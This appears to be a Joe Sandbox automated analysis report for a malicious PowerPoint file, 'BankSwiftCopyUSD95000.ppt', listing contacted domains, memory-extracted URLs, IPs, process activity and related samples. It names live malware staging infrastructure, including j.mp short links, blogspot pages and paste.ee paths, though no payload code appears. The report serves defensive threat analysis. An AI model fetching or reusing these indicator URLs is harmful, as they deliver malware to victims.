https://pki.goog/repository/0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
paste.ee	104.18.49.20	true	false		high
blogspot.l.googleusercontent.com	108.177.127.132	true	false		high
j.mp	67.199.248.16	true	true	0%, Virustotal, Browse	unknown
ghostbackbone123.blogspot.com	unknown	unknown	false		high
startthepartyup.blogspot.com	unknown	unknown	false		high
backbones1234511a.blogspot.com	unknown	unknown	false		high
mainjigijigi123.blogspot.com	unknown	unknown	false		high
randikhanaekminar.blogspot.com	unknown	unknown	false		high
www.blogger.com	unknown	unknown	false		high
resources.blogblog.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.blogger.com/static/v1/v-css/281434096-static_pages.cssjigi123.blogspot.com%2Fp%2Fst2222.	mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/v-css/368954415-lightbox_bundle.css	mshta.exe, 00000006.00000003.2253117052.0000000002DF1000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2262558923.000000000012E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242550287.00000000075DE000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/js/cookienotice.jspnga	mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	false		high
https://www.blogger.com	mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/privacy	mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/3858658042-comment_from_post_iframe.jsET4.0C;	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	false		high
https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=pi	mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/img/icon18_wrench_allbkg.pngk	mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/img/icon18_wrench_allbkg.pngq	mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	false		high
https://www.blogger.com/page-edit.g?blogID=9116518222795791100&pageID=8792113328696570758&from=penci	mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png).meather)	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.blogger.com/static/v1/jsbin/2036001057-lbx__en_gb.js	mshta.exe, 00000006.00000003.2253117052.0000000002DF1000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2262558923.000000000012E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242550287.00000000075DE000.00000004.00000001.sdmp	false		high
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.html$	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	false		high
https://www.blogger.com/unvisited-link-	mshta.exe, 00000006.00000003.2242751517.000000000018E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246295022.0000000005886000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png)	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000002.2276548700.0000000003B43000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot	mshta.exe, 00000006.00000003.2266503969.0000000000128000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.blogger.com/img/share_buttons_20_3.png	mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221525300.0000000005919000.00000004.00000001.sdmp	false		high
https://www.blogger.com/img/share_buttons_20_3.pnga	mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/img/triangle_ltr.gif)	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	false		high
https://www.youtube.com	mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/discuss	mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	false		high
https://www.blogger.com/comment-iframe.g?blogID=9116518222795791100&pageID=87921133286965707584.0E)	mshta.exe, 00000006.00000002.2307809275.000000000588D000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogs	mshta.exe, 00000006.00000003.2266503969.0000000000128000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000002.2276548700.0000000003B43000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/js/cookienotice.jsp	mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	false		high
https://www.blogger.com/img/share_buttons_20_3.pngv	mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	false		high
http://ocsp.pki.goog/gts1o1core0	mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://resources.blogblog.com/img/widgets/s_top.png	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.htmldnasdja	mshta.exe, 00000006.00000003.2250153686.000000000040B000.00000004.00000001.sdmp	false		high
http://crl.pki.goog/GTS1O1core.crl0	mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i18n-cloud.appspot.com	mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mainjigijigi123.blogspot.com/js/cookienotice.jsi	mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/js/cookienotice.js	mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.js	mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250247675.000000000044A000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/feeds/posts/default	mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	false		high
https://www.blogger.com/img/share_buttons_20_3.pngx	mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	false		high
http://schema.org/BlogPosting	mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/3858658042-comment_from_post_iframe.js	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	false		high
https://www.blogger.com/img/share_buttons_20_3.pngcomment_from_post_iframe.jspng	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.jsC:	mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	powershell.exe, 0000000C.00000002.2279587829.00000000046AE000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.windows.com/pctv.	powershell.exe, 0000000C.00000002.2255231499.0000000002C00000.00000002.00000001.sdmp	false		high
https://www.blogger.com/?tab=jj	mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/contentpolicy	mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	false		high
Https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=pi	mshta.exe, 00000006.00000002.2308801585.0000000005947000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/img/widgets/s_bottom.png)	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	false		high
https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.html	mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307809275.000000000588D000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/nap	mshta.exe, 00000006.00000002.2306384665.0000000005768000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.cssQV	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/img/widgets/s_bottom.png	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264900339.000000000047B000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/376796862-ieretrofit.js	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250960830.0000000003B3F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.htmlK	mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/devapi	mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/feeds/posts/default?alt	mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/blogspot-cookies	mshta.exe, 00000006.00000003.2225510825.000000000347F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/	mshta.exe, 00000006.00000003.2251197338.0000000005857000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/----	mshta.exe, 00000006.00000002.2306384665.0000000005768000.00000004.00000001.sdmp	false		high
https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.htmlH	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.pngx6	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/3767	mshta.exe, 00000006.00000003.2250247675.000000000044A000.00000004.00000001.sdmp	false		high
https://www.blogger.com/rpc_relay.html	mshta.exe, 00000006.00000003.2259640260.0000000003069000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	false		high
http://pki.goog/gsr2/GTS1O1.crt0	mshta.exe, 00000006.00000002.2307607404.0000000005853000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://mainjigijigi123.blogspot.com/p/st2222.htmld	mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/feeds/posts/defaultng	mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	false		high
http://ocsp.pki.goog/gs	mshta.exe, 00000006.00000003.2246403287.00000000058DC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.pki.goog/gsr202	mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	mshta.exe, 00000006.00000002.2279301165.0000000003F37000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2257266927.0000000002DE7000.00000002.00000001.sdmp, mshta.exe, 00000011.00000002.2226296090.00000000037E7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://pki.goog/repository/0	mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://mainjigijigi123.blogspot.com/p/st2222.html	mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	false		high
https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=bl	mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.html...	mshta.exe, 00000006.00000003.2264141461.0000000003A8C000.00000004.00000001.sdmp	false		high
https://www.blogger.com/feeds/9116518222795791100/posts/default	mshta.exe, 00000006.00000003.2250723670.000000000341C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250960830.0000000003B3F000.00000004.00000001.sdmp	false		high
https://www.blogger.com/comment-iframe.g?blogID=9116518222795791100&pageID=8792113328696570758&blogs	mshta.exe, 00000006.00000003.2251330504.0000000003472000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/widgets/84067855-widgets.js	mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221495845.0000000005903000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221581590.0000000003B5D000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250219385.0000000000430000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png0C;	mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/adspersonalization	mshta.exe, 00000006.00000003.2235127102.000000000340C000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.htmlvg	mshta.exe, 00000006.00000003.2221495845.0000000005903000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.htmls	mshta.exe, 00000006.00000003.2246005409.0000000003B29000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276419704.0000000003B29000.00000004.00000001.sdmp	false		high
https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.htmlgspo	mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp	false		high
https://www.blogger.com/go/buzz	mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	false		high
https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.pngt.co	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000006.00000002.2280946216.0000000004230000.00000002.00000001.sdmp, powershell.exe, 0000000C.00000002.2249204389.0000000002220000.00000002.00000001.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	powershell.exe, 0000000C.00000003.2212263434.00000000002F2000.00000004.00000001.sdmp	false		high
https://randikhanaekminar.blogspot.com/p/st2.htmlC:	mshta.exe, 00000011.00000003.2218959976.0000000003A2C000.00000004.00000001.sdmp	false		high
https://s.ytimg.com	mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.csscV	mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	false		high
https://backbones1234511a.blogspot.com/p/stback1.html	mshta.exe, 00000006.00000003.2251143360.00000000058E6000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242751517.000000000018E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2262198982.00000000001B3000.00000004.00000001.sdmp	false		high
https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.html0E)	mshta.exe, 00000006.00000003.2245647822.0000000003AF4000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/376796862-ieretrofit.js.cssmV	mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	false		high
https://www.blogger.com/	mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp	false		high
http://www.cookiechoices.org/	mshta.exe, 00000006.00000003.2242124105.00000000075EA000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/feeds/posts/default?alt=rss	mshta.exe, 00000006.00000003.2250723670.000000000341C000.00000004.00000001.sdmp	false		high
http://crl.pki.goog/gsr2/gsr2.crl0?	mshta.exe, 00000006.00000003.2221379994.0000000003B73000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://mainjigijigi123.blogspot.com/js/cookienotice.jsA	mshta.exe, 00000006.00000003.2221534508.000000000592E000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.htmldnasdjasgdakgsdhv	mshta.exe, 00000006.00000003.2250153686.000000000040B000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	false		high
https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.js.blogspot.com%2Fp%2Fst2222.	mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	false		high
https://mainjigijigi123.blogspot.com/p/st2222.htmlw	mshta.exe, 00000006.00000003.2251197338.0000000005857000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
108.177.127.132	unknown	United States	15169	GOOGLEUS	false
172.67.219.133	unknown	United States	13335	CLOUDFLARENETUS	false
67.199.248.16	unknown	United States	396982	GOOGLE-PRIVATE-CLOUDUS	true
104.18.49.20	unknown	United States	13335	CLOUDFLARENETUS	false
64.188.18.218	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	339086
Start date:	13.01.2021
Start time:	13:42:35
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	BankSwiftCopyUSD95000.ppt
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winPPT@46/51@29/5
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 548 Number of non-executed functions: 7
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .ppt Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 108.177.127.191, 172.217.218.102, 172.217.218.139, 172.217.218.138, 172.217.218.113, 172.217.218.100, 172.217.218.101, 173.194.69.84, 172.217.16.206, 108.177.126.95, 108.177.119.105, 108.177.119.147, 108.177.119.103, 108.177.119.104, 108.177.119.106, 108.177.119.99, 108.177.127.138, 108.177.127.139, 108.177.127.102, 108.177.127.100, 108.177.127.113, 108.177.127.101, 108.177.127.94 Excluded domains from analysis (whitelisted): gstaticadssl.l.google.com, google.com, fonts.googleapis.com, accounts.google.com, www-google-analytics.l.google.com, fonts.gstatic.com, www.google.com, blogger.l.google.com, www.google-analytics.com Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateKey calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:44:34	API Interceptor	775x Sleep call for process: mshta.exe modified
13:44:39	API Interceptor	1x Sleep call for process: schtasks.exe modified
13:44:39	API Interceptor	363x Sleep call for process: powershell.exe modified
13:44:40	API Interceptor	435x Sleep call for process: taskeng.exe modified
13:44:46	API Interceptor	10x Sleep call for process: taskkill.exe modified
13:44:52	API Interceptor	253x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.219.133	SecuriteInfo.com.Trojan.MSIL.Basic.8.Gen.4059.exe	Get hash	malicious	Browse	paste.ee/r/75Qgb
	KxpdSnil5T.exe	Get hash	malicious	Browse	paste.ee/r/DGbIb
	6YCl3ATKJw.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	r0QRptqiCl.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	Hjnb15Nuc3.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	JDgYMW0LHW.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	4av8Sn32by.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	kigAlmMyB1.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	afvhKak0Ir.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	T6OcyQsUsY.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	66f8F6WvC1.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	PxwWcmbMC5.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	XnAJZR4NcN.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	PbTwrajNMX.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	I8r7e1pqac.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	wf86K0dpOP.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	6C1MYmrVl1.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	zZp3oXclum.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	52nRNUOy3e.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
	GDGyU4yuvF.exe	Get hash	malicious	Browse	paste.ee/r/Jcre9
67.199.248.16	Shipping Document PL and BL003534.ppt	Get hash	malicious	Browse	j.mp/vbdjsagdjgasgcvadfgsadghan
	97LTtjcfr6.ppt	Get hash	malicious	Browse	j.mp/ddkjqwoieoqwjdkw
	97LTtjcfr6.ppt	Get hash	malicious	Browse	j.mp/ddkjqwoieoqwjdkw
	http://j.mp/3pyD1MN	Get hash	malicious	Browse	j.mp/3pyD1MN
	Order List and Quantities.ppt	Get hash	malicious	Browse	j.mp/asdnwwodpwpkkk
	Standardequips_Quote.ppt	Get hash	malicious	Browse	j.mp/ddkjaspoqwiokaslkdkw
	2020141248757837844.ppt	Get hash	malicious	Browse	j.mp/jasasdidjijjjj
	Wire Payment PDF.pps	Get hash	malicious	Browse	j.mp/as90i292
	DHL-12-8-20.ppt	Get hash	malicious	Browse	j.mp/jasakdoasaooooooasdikasodkowk
	DHL-3-12-20.ppt	Get hash	malicious	Browse	j.mp/wasajsidjasdasdkoocs
	DHL-3-12-20.ppt	Get hash	malicious	Browse	j.mp/wasajsidjasdasdkoocs
	REQUEST FOR BID 26-11-2020.ppt	Get hash	malicious	Browse	j.mp/aafaijsdsdasddkods
	NTS_eTaxInvoice.ppt	Get hash	malicious	Browse	j.mp/aksjcoijcoidods
	test.ppt	Get hash	malicious	Browse	j.mp/aksjcoijcoidods
	TT_Details.ppt	Get hash	malicious	Browse	j.mp/akdkaosdkoasdlookadsddwid
	Invoice copy.pps	Get hash	malicious	Browse	j.mp/akdkasdoaksdddwid
	5.pps	Get hash	malicious	Browse	j.mp/akasoasdnaddklkoaskoddwid
	Supplier Terms and Guide.pps	Get hash	malicious	Browse	j.mp/aksdjwodokpdnddwid

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
j.mp	https://j.mp/2MBbcFl	Get hash	malicious	Browse	67.199.248.17
	Shipping Document PL and BL003534.ppt	Get hash	malicious	Browse	67.199.248.16
	97LTtjcfr6.ppt	Get hash	malicious	Browse	67.199.248.16
	97LTtjcfr6.ppt	Get hash	malicious	Browse	67.199.248.17
	97LTtjcfr6.ppt	Get hash	malicious	Browse	67.199.248.16
	https://j.mp/3rJBANn	Get hash	malicious	Browse	67.199.248.17
	http://j.mp/3pyD1MN	Get hash	malicious	Browse	67.199.248.16
	https://j.mp/3h2fG2Z	Get hash	malicious	Browse	67.199.248.16
	Order List and Quantities.ppt	Get hash	malicious	Browse	67.199.248.16
	https://j.mp/3nGS85B	Get hash	malicious	Browse	67.199.248.16
	Order List and Quantities.ppt	Get hash	malicious	Browse	67.199.248.17
